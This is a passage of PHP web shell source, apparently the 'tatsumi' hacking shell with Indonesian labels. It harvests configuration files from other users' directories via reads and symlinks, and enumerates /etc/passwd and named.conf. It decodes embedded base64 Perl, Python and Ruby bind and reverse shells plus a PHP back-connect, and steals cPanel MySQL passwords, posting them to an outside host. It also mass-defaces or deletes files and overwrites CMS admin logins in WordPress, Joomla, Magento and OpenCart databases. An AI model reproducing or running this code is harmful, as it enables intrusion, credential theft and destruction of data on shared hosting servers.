"/home/$user_tatsumi/public_html/Purchase/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/purchase/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Account/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/account/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/USER/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/User/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/user/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Clients/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/clients/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/MY/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/My/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/my/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/panel/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/clientes/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/cliente/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/support/order/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/box/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/host/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/Host/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/support/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/cart/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/order/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/client/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/clients/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/billing/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/billings/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/my/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/secure/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$user_tatsumi/public_html/includes/dist-configure.php" => "Zencart", "/home/$user_tatsumi/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$user_tatsumi/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$user_tatsumi/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$user_tatsumi/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$user_tatsumi/public_html/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/my/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$user_tatsumi/public_html/support/order/includes/iso4217.php" => "Hostbills" ); foreach($grab_config as $config => $nama_config) { if($_POST['config'] == 'grab') { $ambil_config = file_get_contents($config); if($ambil_config == '') { } else { $file_config = fopen("tatsumi_configgrab/$user_tatsumi-$nama_config.txt","w"); fputs($file_config,$ambil_config); } } if($_POST['config'] == 'symlink') { @symlink($config,"tatsumi_Symconfig/".$user_tatsumi."-".$nama_config.".txt"); } if($_POST['config'] == '404') { $sym404=symlink($config,"tatsumi_sym404/".$user_tatsumi."-".$nama_config.".txt"); if($sym404){ @mkdir("tatsumi_sym404/".$user_tatsumi."-".$nama_config.".txt404", 0777); $htaccess="Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm HeaderName tatsumi.txt Satisfy Any IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble IndexIgnore *"; @file_put_contents("tatsumi_sym404/".$user_tatsumi."-".$nama_config.".txt404/.htaccess",$htaccess); @symlink($config,"tatsumi_sym404/".$user_tatsumi."-".$nama_config.".txt404/tatsumi.txt"); } } } } if($_POST['config'] == 'grab') { echo "
Done
"; } if($_POST['config'] == '404') { echo "
SymlinkNya
Configurations
"; } if($_POST['config'] == 'symlink') { echo "
Symlinknya
Configurations
"; }if($_POST['config'] == 'symvhost') { echo "
Root Server
Configurations
"; } }else{ echo "





\n"; } } elseif($_GET['jancok'] == 'jumping') { $i = 0; echo "
"; $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd"); while($passwd = fgets($etc)) { if($passwd == '' || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach($user_jumping[1] as $user_tatsumi_jump) { $user_jumping_dir = "/home/$user_tatsumi_jump/public_html"; if(is_readable($user_jumping_dir)) { $i++; $jrw = "[R] $user_jumping_dir"; if(is_writable($user_jumping_dir)) { $jrw = "[RW] $user_jumping_dir"; } echo $jrw; if(function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == '') { echo " => ( gabisa ambil nama domain nya )
"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if($user_jumping_url == $user_tatsumi_jump) { echo " => ( $dj )
"; break; } } } } else { echo "
"; } } } } } if($i == 0) { } else { echo "
Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST']).""; } echo "
"; } elseif($_GET['backconnect'] == 'tool'){ echo "


Bind port to /bin/sh [Perl]
Port:

Back-connect
Server: Port: "; if($_POST['bpl']) { $bp=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); $brt=@fopen('bp.pl','w'); fwrite($brt,$bp); $out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &"); sleep(1); echo "
$out\n".exe("ps aux | grep bp.pl")."
"; unlink("bp.pl"); } if($_POST['backconnect'] == 'perl') { $bc=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); $plbc=@fopen('bc.pl','w'); fwrite($plbc,$bc); $out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &"); sleep(1); echo "
$out\n".exe("ps aux | grep bc.pl")."
"; unlink("bc.pl"); } if($_POST['backconnect'] == 'python') { $becaa=base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ=="); $pbcaa=@fopen('bcpyt.py','w'); fwrite($pbcaa,$becaa); $out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']); sleep(1); echo "
$out1\n".exe("ps aux | grep bcpyt.py")."
"; unlink("bcpyt.py"); } if($_POST['backconnect'] == 'ruby') { $becaak=base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVm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kJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); $pbcaak=@fopen('bcruby.rb','w'); fwrite($pbcaak,$becaak); $out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']); sleep(1); echo "
$out2\n".exe("ps aux | grep bcruby.rb")."
"; unlink("bcruby.rb"); } if($_POST['backconnect'] == 'php') { $ip = $_POST['server']; $port = $_POST['port']; $sockfd = fsockopen($ip , $port , $errno, $errstr ); if($errno != 0){ echo "$errno : $errstr"; } else if (!$sockfd) { $result = "

Unexpected error has occured, connection may have failed.

"; } else { fputs ($sockfd ," \n{################################################################} \n..:: BackConnect Php By tatsumi ::.. \n{################################################################}\n"); $dir = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n"); while(!feof($sockfd)){ $cmdPrompt = '[tatsumi]#:> '; fputs ($sockfd , $cmdPrompt ); $command= fgets($sockfd, $len); fputs($sockfd , "\n" . shell_exec($command) . "\n\n"); } fclose($sockfd); } } echo "

"; } elseif($_GET['jancok'] == 'adminer') { $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if(file_exists('adminer.php')) { echo "
-> adminer login <-
"; } else { if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) { echo "
-> adminer login <-
"; } else { echo "
gagal buat file adminer
"; } } } elseif($_GET['jancok'] == 'cmd') { echo "

".$user."@".$ip.": ~ $
"; if($_POST['do_cmd']) { echo "
".exe($_POST['cmd'])."
"; } } elseif($_GET['jancok'] == 'cpanel') { @ini_set('display_errors',0); function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){ $ar0=explode($marqueurDebutLien, $text); $ar1=explode($marqueurFinLien, $ar0[$i]); return trim($ar1[0]); } echo '

'; echo '
'; $d0mains = @file('/etc/named.conf'); $domains = scandir("/var/named"); if ($domains or $d0mains) { $domains = scandir("/var/named"); if($domains) { echo ""; $count=1; $dc = 0; $list = scandir("/var/named"); foreach($list as $domain){ if(strpos($domain,".db")){ $domain = str_replace('.db','',$domain); $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain)); $dirz = '/home/'.$owner['name'].'/.my.cnf'; $path = getcwd(); if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$owner['name'].'.txt'); $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt'); $password=entre2v2($p,'password="','"'); echo ""; $dc++; $success3="http://".$domain."|".$owner['name']."|".$password."\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php"); curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3)); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HEADER, 1); $buffer = curl_exec($ch); } } } echo '
COUNT DOMAIN USER Password .my.cnf
".$count++."".$domain."".$owner['name']."".$password."Click Here
'; $total = $dc; echo '
'; }else{ $d0mains = @file('/etc/named.conf'); if($d0mains) { echo ""; $count=1; $dc = 0; $mck = array(); foreach($d0mains as $d0main){ if(@eregi('zone',$d0main)){ preg_match_all('#zone "(.*)"#',$d0main,$domain); flush(); if(strlen(trim($domain[1][0])) >2){ $mck[] = $domain[1][0]; } } } $mck = array_unique($mck); $usr = array(); $dmn = array(); foreach($mck as $o) { $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o)); $usr[] = $infos['name']; $dmn[] = $o; } array_multisort($usr,$dmn); $dt = file('/etc/passwd'); $passwd = array(); foreach($dt as $d) { $r = explode(':',$d); if(strpos($r[5],'home')) { $passwd[$r[0]] = $r[5]; } } $l=0; $j=1; foreach($usr as $r) { $dirz = '/home/'.$r.'/.my.cnf'; $path = getcwd(); if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$r.'.txt'); $p=file_get_contents(''.$path.'/'.$r.'.txt'); $password=entre2v2($p,'password="','"'); echo ""; $dc++; flush(); $l=$l?0:1; $j++; } } } echo '
COUNT DOMAIN USER Password .my.cnf
".$count++."'.$dmn[$j-1].' '.$r."".$password."Click Here
'; $total = $dc; echo '
Total cPanel Found = '.$total.'
'; echo '
'; } }else{ echo "
ERROR
/var/named or etc/named.conf Not Accessible!
"; } } elseif($_GET['jancok'] == 'mass') { echo "
\n"; $dirr=$_POST['d_dir']; $index = $_POST["script"]; $index = str_replace('"',"'",$index); $index = stripslashes($index); function edit_file($file,$index){ if (is_writable($file)) { clear_fill($file,$index); echo " [+] Nyabun 100% Successfull
"; } else { echo " [-] Ternyata Tidak Boleh Menyabun Disini :(
"; } } function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($lokasi)) { echo "[DELETED] $lokasi
"; unlink($lokasi); $idx = hapus_massal($dirc,$namafile); } } } } } } } function clear_fill($file,$index){ if(file_exists($file)){ $handle = fopen($file,'w'); fwrite($handle,''); fwrite($handle,$index); fclose($handle); } } function gass(){ global $dirr , $index ; chdir($dirr); $me = str_replace(dirname(__FILE__).'/','',__FILE__); $files = scandir($dirr) ; $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..","."); sort($files); $n = 0 ; foreach ($files as $file){ if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) { echo "
$dirr/$file ====> "; edit_file($file,$index); flush(); $n = $n +1 ; } } echo "
"; echo "

$n Kali Anda Telah Ngecrot Disini


"; } function ListFiles($dirrall) { if($dh = opendir($dirrall)) { $files = Array(); $inner_files = Array(); $me = str_replace(dirname(__FILE__).'/','',__FILE__); $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db"); while($file = readdir($dh)) { if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) { if(is_dir($dirrall . "/" . $file)) { $inner_files = ListFiles($dirrall . "/" . $file); if(is_array($inner_files)) $files = array_merge($files, $inner_files); } else { array_push($files, $dirrall . "/" . $file); } } } closedir($dh); return $files; } } function gass_all(){ global $index ; $dirrall=$_POST['d_dir']; foreach (ListFiles($dirrall) as $key=>$file){ $file = str_replace('//',"/",$file); echo "
$file ===>"; edit_file($file,$index); flush(); } $key = $key+1; echo "

$key Kali Anda Telah Ngecrot Disini


"; } function sabun_massal($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc,$namafile,$isi_script); } } } } } } if($_POST['mass'] == 'onedir') { echo "
Versi Text Area



Versi Text


\n"; $mainpath=$_POST[d_dir];$file=$_POST[d_file]; $path=opendir("$mainpath"); $code=base64_encode($_POST[script]); $indx=base64_decode($code); while($row=readdir($dir)){$start=@fopen("$row/$file","w+"); $finish=@fwrite($start,$indx); if ($finish){echo 'http://' . $row . '/' . $file . '
'; } } } elseif($_POST['mass'] == 'sabunkabeh') { gass(); } elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); } elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); } elseif($_POST['mass'] == 'massdeface') { echo "
"; sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } else { echo "
Select Type:

Folder:

Filename:

Index File:

"; } }elseif($_GET['mass'] == 'changer') { if($_POST['sikat']) { echo "

Config Reset Password

Link Config:

User Baru :

Password Baru :

"; }else { echo '

Config Reset Password


Link Config :


'; } if($_POST['masschanger']) { $user = $_POST['newuser']; $pass = $_POST['newpasswd']; $passx = md5($pass); $link = explode("\r\n", $_POST['link']); foreach($link as $file_conf) { $config = file_get_contents($file_conf); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = ambilkata($config,"host = '","'"); $dbuser = ambilkata($config,"user = '","'"); $dbpass = ambilkata($config,"password = '","'"); $dbname = ambilkata($config,"db = '","'"); $dbprefix = ambilkata($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = ambilkata($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'"); echo "CMS: Joomla
"; if($site == '') { echo "Sitename => Error Cok
"; } else { echo "Sitename => $site
"; } if(!$update OR !$conn OR !$db) { echo "[-] ".mysql_error()."

"; } else { echo "[+] username: $user
"; echo "[+] password: $pass

"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = ambilkata($config,"DB_HOST', '","'"); $dbuser = ambilkata($config,"DB_USER', '","'"); $dbpass = ambilkata($config,"DB_PASSWORD', '","'"); $dbname = ambilkata($config,"DB_NAME', '","'"); $dbprefix = ambilkata($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/wp-login.php
"; } $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'"); echo "CMS: Wordpress
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "[-] ".mysql_error()."

"; } else { echo "[+] username: $user
"; echo "[+] password: $pass

"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = ambilkata($config,""); $dbuser = ambilkata($config,""); $dbpass = ambilkata($config,""); $dbname = ambilkata($config,""); $dbprefix = ambilkata($config,""); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/admin/
"; } $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'"); echo "CMS: Magento
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "[-] ".mysql_error()."

"; } else { echo "[+] username: $user
"; echo "[+] password: $pass

"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'"); $dbuser = ambilkata($config,"'DB_USERNAME', '","'"); $dbpass = ambilkata($config,"'DB_PASSWORD', '","'"); $dbname = ambilkata($config,"'DB_DATABASE', '","'"); $dbprefix = ambilkata($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = ambilkata($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target
"; } $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'"); echo "CMS: OpenCart
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "[-] ".mysql_error()."

"; } else { echo "[+] username: $user
"; echo "[+] password: $pass

"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = ambilkata($config,'server = "','"'); $dbuser = ambilkata($config,'username = "','"'); $dbpass = ambilkata($config,'password = "','"'); $dbname = ambilkata($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "Login => error, gabisa ambil nama domain nyaa
"; if($target2 == '') { $url_target2 = "Login => error, gabisa ambil nama domain nyaa
"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => $target2/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => $target2/lokomedia/adminweb
"; } else { $url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => $target/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => $target/lokomedia/adminweb
"; } else { $url_target = "Login => $target [ gatau admin login nya dimana :p ]
"; } } $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'"); echo "CMS: Lokomedia
"; if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) { echo $url_target2; } else { echo $url_target; } if(!$update OR !$conn OR !$db) { echo "[-] ".mysql_error()."

"; } else { echo "[+] username: $user
"; echo "[+] password: $pass

"; } mysql_close($conn); } } } }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

